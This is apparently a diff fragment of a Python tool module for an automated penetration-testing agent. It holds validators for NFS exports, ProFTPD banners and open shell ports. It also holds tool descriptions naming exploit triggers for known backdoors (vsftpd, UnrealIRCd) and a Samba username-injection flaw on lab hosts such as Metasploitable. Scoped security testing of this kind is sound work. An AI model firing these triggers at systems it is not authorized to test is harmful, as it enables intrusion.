|
+
"evidence": (
|
|
612
|
+
"Could not enumerate the exports because showmount is not "
|
|
613
|
+
"installed. Install nfs-common, or confirm by hand with "
|
|
614
|
+
f"`showmount -e {target}`. Do not record this as a finding."
|
|
615
|
+
),
|
|
616
|
+
"confidence": "low",
|
|
617
|
+
}
|
|
618
|
+
if not scan.get("ok") and "refused" in lowered:
|
|
619
|
+
return {
|
|
620
|
+
"validated": False,
|
|
621
|
+
"test": "nfs_exports",
|
|
622
|
+
"reason": "NFS is not reachable",
|
|
623
|
+
"evidence": f"showmount could not reach {target}: {output[:120]}",
|
|
624
|
+
"confidence": "medium",
|
|
625
|
+
}
|
|
626
|
+
|
|
627
|
+
exports = [
|
|
628
|
+
line.strip()
|
|
629
|
+
for line in output.splitlines()
|
|
630
|
+
if line.strip()
|
|
631
|
+
and "/" in line
|
|
632
|
+
and not line.lower().startswith(("export list", "clients", "rpc", "program"))
|
|
633
|
+
]
|
|
634
|
+
validated = bool(exports)
|
|
635
|
+
return {
|
|
636
|
+
"validated": validated,
|
|
637
|
+
"test": "nfs_exports",
|
|
638
|
+
"exports": exports[:20],
|
|
639
|
+
"evidence": (
|
|
640
|
+
f"showmount lists {len(exports)} export(s): " + ", ".join(exports[:4])
|
|
641
|
+
if validated
|
|
642
|
+
else "showmount returned no exports: NFS is not exposing anything"
|
|
643
|
+
),
|
|
644
|
+
"response": output[-400:],
|
|
645
|
+
"cleaned_up": True,
|
|
646
|
+
"confidence": "high" if validated else "medium",
|
|
647
|
+
}
|
|
648
|
+
|
|
649
|
+
up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
|
|
650
|
+
return {
|
|
651
|
+
"validated": up,
|
|
652
|
+
"test": "nfs_exports",
|
|
653
|
+
"banner": banner[:80],
|
|
654
|
+
"evidence": (
|
|
655
|
+
f"TCP/{port} answered. Enumerate with `run_tool ['showmount','-e','{target}']`."
|
|
656
|
+
if up
|
|
657
|
+
else f"TCP/{port} not reachable"
|
|
658
|
+
),
|
|
659
|
+
"confidence": "low",
|
|
660
|
+
}
|
|
661
|
+
|
|
662
|
+
|
|
663
|
+
async def validate_proftpd(ctx: ToolContext, host: str, port: int = 21) -> dict[str, Any]:
|
|
664
|
+
"""ProFTPD exposure, including non-standard listeners such as 2121."""
|
|
665
|
+
err = _in_scope(ctx, host)
|
|
666
|
+
if err:
|
|
667
|
+
return {"error": err, "validated": False}
|
|
668
|
+
target = _resolve(host)
|
|
669
|
+
|
|
670
|
+
up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
|
|
671
|
+
if not up:
|
|
672
|
+
return {
|
|
673
|
+
"validated": False,
|
|
674
|
+
"test": "proftpd_exposed",
|
|
675
|
+
"reason": f"port {port} not reachable",
|
|
676
|
+
}
|
|
677
|
+
# This validator is specifically about ProFTPD. Reporting a vsftpd banner
|
|
678
|
+
# as a ProFTPD finding would be a false positive, so the product name has
|
|
679
|
+
# to appear in the banner.
|
|
680
|
+
is_ftp = banner.startswith("220") or "ftp" in banner.lower()
|
|
681
|
+
is_proftpd = "proftpd" in banner.lower()
|
|
682
|
+
version = ""
|
|
683
|
+
for token in banner.replace("(", " ").replace(")", " ").split():
|
|
684
|
+
if token.lower().startswith("proftpd"):
|
|
685
|
+
version = token
|
|
686
|
+
break
|
|
687
|
+
if is_proftpd:
|
|
688
|
+
evidence = f"ProFTPD {version or ''} on TCP/{port}: {banner[:70]!r}".strip()
|
|
689
|
+
confidence = "high"
|
|
690
|
+
elif is_ftp:
|
|
691
|
+
evidence = (
|
|
692
|
+
f"TCP/{port} runs a different FTP daemon ({banner[:60]!r}), so this "
|
|
693
|
+
"is not a ProFTPD finding. It is still an exposed FTP service - "
|
|
694
|
+
"record it under the FTP category instead."
|
|
695
|
+
)
|
|
696
|
+
confidence = "medium"
|
|
697
|
+
else:
|
|
698
|
+
evidence = f"TCP/{port} did not answer as FTP ({banner[:40]!r})"
|
|
699
|
+
confidence = "low"
|
|
700
|
+
return {
|
|
701
|
+
"validated": is_proftpd,
|
|
702
|
+
"test": "proftpd_exposed",
|
|
703
|
+
"banner": banner[:120],
|
|
704
|
+
"version": version,
|
|
705
|
+
"product": "ProFTPD" if is_proftpd else ("ftp" if is_ftp else "unknown"),
|
|
706
|
+
"evidence": evidence,
|
|
707
|
+
"cleaned_up": True,
|
|
708
|
+
"confidence": confidence,
|
|
709
|
+
}
|
|
710
|
+
|
|
711
|
+
|
|
712
|
+
async def validate_port_shell_banner(ctx: ToolContext, host: str, port: int) -> dict[str, Any]:
|
|
713
|
+
"""Generic proof: an unauthenticated port that hands over a shell prompt."""
|
|
714
|
+
err = _in_scope(ctx, host)
|
|
715
|
+
if err:
|
|
716
|
+
return {"error": err, "validated": False}
|
|
717
|
+
target = _resolve(host)
|
|
718
|
+
up, banner, _ = await _read_banner(ctx, target, port, timeout=3.0)
|
|
719
|
+
validated = up and bool(banner.strip())
|
|
720
|
+
return {
|
|
721
|
+
"validated": validated,
|
|
722
|
+
"test": "unauthenticated_shell_banner",
|
|
723
|
+
"port": port,
|
|
724
|
+
"banner": banner[:200],
|
|
725
|
+
"evidence": (
|
|
726
|
+
f"TCP/{port} returned {banner[:80]!r} without authentication"
|
|
727
|
+
if validated
|
|
728
|
+
else f"TCP/{port} gave no banner"
|
|
729
|
+
),
|
|
730
|
+
"cleaned_up": True,
|
|
731
|
+
"confidence": "medium" if validated else "low",
|
|
732
|
+
}
|
|
733
|
+
|
|
734
|
+
|
|
735
|
+
def exploitation_tools(ctx: ToolContext) -> list[Tool]:
|
|
736
|
+
return [
|
|
737
|
+
Tool(
|
|
738
|
+
name="validate_vsftpd_backdoor",
|
|
739
|
+
description=(
|
|
740
|
+
"Prove CVE-2011-2523: send the ':)' username trigger and check "
|
|
741
|
+
"whether the backdoor root shell on 6200 opens. Runs no command "
|
|
742
|
+
"on the shell and disconnects immediately. Use this instead of "
|
|
743
|
+
"reporting the backdoor from the version banner alone."
|
|
744
|
+
),
|
|
745
|
+
parameters={
|
|
746
|
+
"type": "object",
|
|
747
|
+
"properties": {
|
|
748
|
+
"host": {"type": "string"},
|
|
749
|
+
"port": {"type": "integer", "default": 21},
|
|
750
|
+
},
|
|
751
|
+
"required": ["host"],
|
|
752
|
+
},
|
|
753
|
+
func=lambda host, port=21: validate_vsftpd_backdoor(ctx, host, port),
|
|
754
|
+
scope="red",
|
|
755
|
+
dangerous=True,
|
|
756
|
+
parallel_safe=False,
|
|
757
|
+
),
|
|
758
|
+
Tool(
|
|
759
|
+
name="validate_root_shell",
|
|
760
|
+
description=(
|
|
761
|
+
"Prove that a port exposes an unauthenticated shell (the classic "
|
|
762
|
+
"Metasploitable 1524). Reads the banner, runs nothing, "
|
|
763
|
+
"disconnects."
|
|
764
|
+
),
|
|
765
|
+
parameters={
|
|
766
|
+
"type": "object",
|
|
767
|
+
"properties": {
|
|
768
|
+
"host": {"type": "string"},
|
|
769
|
+
"port": {"type": "integer", "default": 1524},
|
|
770
|
+
},
|
|
771
|
+
"required": ["host"],
|
|
772
|
+
},
|
|
773
|
+
func=lambda host, port=1524: validate_root_shell(ctx, host, port),
|
|
774
|
+
scope="red",
|
|
775
|
+
dangerous=True,
|
|
776
|
+
parallel_safe=False,
|
|
777
|
+
),
|
|
778
|
+
Tool(
|
|
779
|
+
name="validate_samba_usermap",
|
|
780
|
+
description=(
|
|
781
|
+
"Prove CVE-2007-2447: send a benign marker through the username "
|
|
782
|
+
"field and check whether it reaches a shell. Executes only an "
|
|
783
|
+
"echo of a canary string."
|
|
784
|
+
),
|
|
785
|
+
parameters={
|
|
786
|
+
"type": "object",
|
|
787
|
+
"properties": {
|
|
788
|
+
"host": {"type": "string"},
|
|
789
|
+
"port": {"type": "integer", "default": 139},
|
|
790
|
+
},
|
|
791
|
+
"required": ["host"],
|
|
792
|
+
},
|
|
793
|
+
func=lambda host, port=139: validate_samba_usermap(ctx, host, port),
|
|
794
|
+
scope="red",
|
|
795
|
+
dangerous=True,
|
|
796
|
+
parallel_safe=False,
|
|
797
|
+
),
|
|
798
|
+
Tool(
|
|
799
|
+
name="validate_mysql_blank_password",
|
|
800
|
+
description=(
|
|
801
|
+
"Check a MySQL port for an exposed instance and parse its "
|
|
802
|
+
"version, returning the exact command to confirm blank root "
|
|
803
|
+
"credentials."
|
|
804
|
+
),
|
|
805
|
+
parameters={
|
|
806
|
+
"type": "object",
|
|
807
|
+
"properties": {
|
|
808
|
+
"host": {"type": "string"},
|
|
809
|
+
"port": {"type": "integer", "default": 3306},
|
|
810
|
+
},
|
|
811
|
+
"required": ["host"],
|
|
812
|
+
},
|
|
813
|
+
func=lambda host, port=3306: validate_mysql_anonymous(ctx, host, port),
|
|
814
|
+
scope="red",
|
|
815
|
+
),
|
|
816
|
+
Tool(
|
|
817
|
+
name="validate_open_shell_port",
|
|
818
|
+
description=(
|
|
819
|
+
"Generic proof for any port that hands over a shell or "
|
|
820
|
+
"administrative prompt without authentication."
|
|
821
|
+
),
|
|
822
|
+
parameters={
|
|
823
|
+
"type": "object",
|
|
824
|
+
"properties": {
|
|
825
|
+
"host": {"type": "string"},
|
|
826
|
+
"port": {"type": "integer"},
|
|
827
|
+
},
|
|
828
|
+
"required": ["host", "port"],
|
|
829
|
+
},
|
|
830
|
+
func=lambda host, port: validate_port_shell_banner(ctx, host, port),
|
|
831
|
+
scope="red",
|
|
832
|
+
dangerous=True,
|
|
833
|
+
parallel_safe=False,
|
|
834
|
+
),
|
|
835
|
+
Tool(
|
|
836
|
+
name="validate_unrealircd_backdoor",
|
|
837
|
+
description=(
|
|
838
|
+
"Prove CVE-2010-2075: send the AB trigger token to an IRC "
|
|
839
|
+
"daemon and confirm it answers. UnrealIRCd 3.2.8.1 shipped "
|
|
840
|
+
"with a trojan; the classic Metasploitable keeps it on 6667."
|
|
841
|
+
),
|
|
842
|
+
parameters={
|
|
843
|
+
"type": "object",
|
|
844
|
+
"properties": {
|
|
845
|
+
"host": {"type": "string"},
|
|
846
|
+
"port": {"type": "integer", "default": 6667},
|
|
847
|
+
},
|
|
848
|
+
"required": ["host"],
|
|
849
|
+
},
|
|
850
|
+
func=lambda host, port=6667: validate_unrealircd_backdoor(ctx, host, port),
|
|
851
|
+
scope="red",
|
|
852
|
+
dangerous=True,
|
|
853
|
+
parallel_safe=False,
|
|
854
|
+
),
|
|
855
|
+
Tool(
|
|
856
|
+
name="validate_vnc_no_auth",
|
|
857
|
+
description=(
|
|
858
|
+
"Read the VNC RFB handshake to confirm an exposed, "
|
|
859
|
+
"unauthenticated VNC service. No session is opened."
|
|
860
|
+
),
|
|
861
|
+
parameters={
|
|
862
|
+
"type": "object",
|
|
863
|
+
"properties": {
|
|
864
|
+
"host": {"type": "string"},
|
|
865
|
+
"port": {"type": "integer", "default": 5900},
|
|
866
|
+
},
|
|
867
|
+
"required": ["host"],
|
|
868
|
+
},
|
|
869
|
+
func=lambda host, port=5900: validate_vnc_no_auth(ctx, host, port),
|
|
870
|
+
scope="red",
|
|
871
|
+
),
|
|
872
|
+
Tool(
|
|
873
|
+
name="validate_nfs_export",
|
|
874
|
+
description=(
|
|
875
|
+
"List the NFS exports with showmount. World-readable exports "
|
|
876
|
+
"are a direct data-disclosure path; the classic Metasploitable "
|
|
877
|
+
"exports / with no restrictions."
|
|
878
|
+
),
|
|
879
|
+
parameters={
|
|
880
|
+
"type": "object",
|
|
881
|
+
"properties": {
|
|
882
|
+
"host": {"type": "string"},
|
|
883
|
+
"port": {"type": "integer", "default": 2049},
|
|
884
|
+
},
|
|
885
|
+
"required": ["host"],
|
|
886
|
+
},
|
|
887
|
+
func=lambda host, port=2049: validate_nfs_export(ctx, host, port),
|
|
888
|
+
scope="red",
|
|
889
|
+
),
|
|
890
|
+
Tool(
|
|
891
|
+
name="validate_proftpd",
|
|
892
|
+
description=(
|
|
893
|
+
"Probe an FTP port for a ProFTPD service and report its "
|
|
894
|
+
"version. Use it on non-standard listeners too (2121 on "
|
|
895
|
+
"Metasploitable), which the standard sweep treats as noise."
|
|
896
|
+
),
|
|
897
|
+
parameters={
|
|
898
|
+
"type": "object",
|
|
899
|
+
"properties": {
|
|
900
|
+
"host": {"type": "string"},
|
|
901
|
+
"port": {"type": "integer", "default": 21},
|
|
902
|
+
},
|
|
903
|
+
"required": ["host"],
|
|
904
|
+
},
|
|
905
|
+
func=lambda host, port=21: validate_proftpd(ctx, host, port),
|
|
906
|
+
scope="red",
|
|
907
|
+
),
|
|
908
|
+
]
|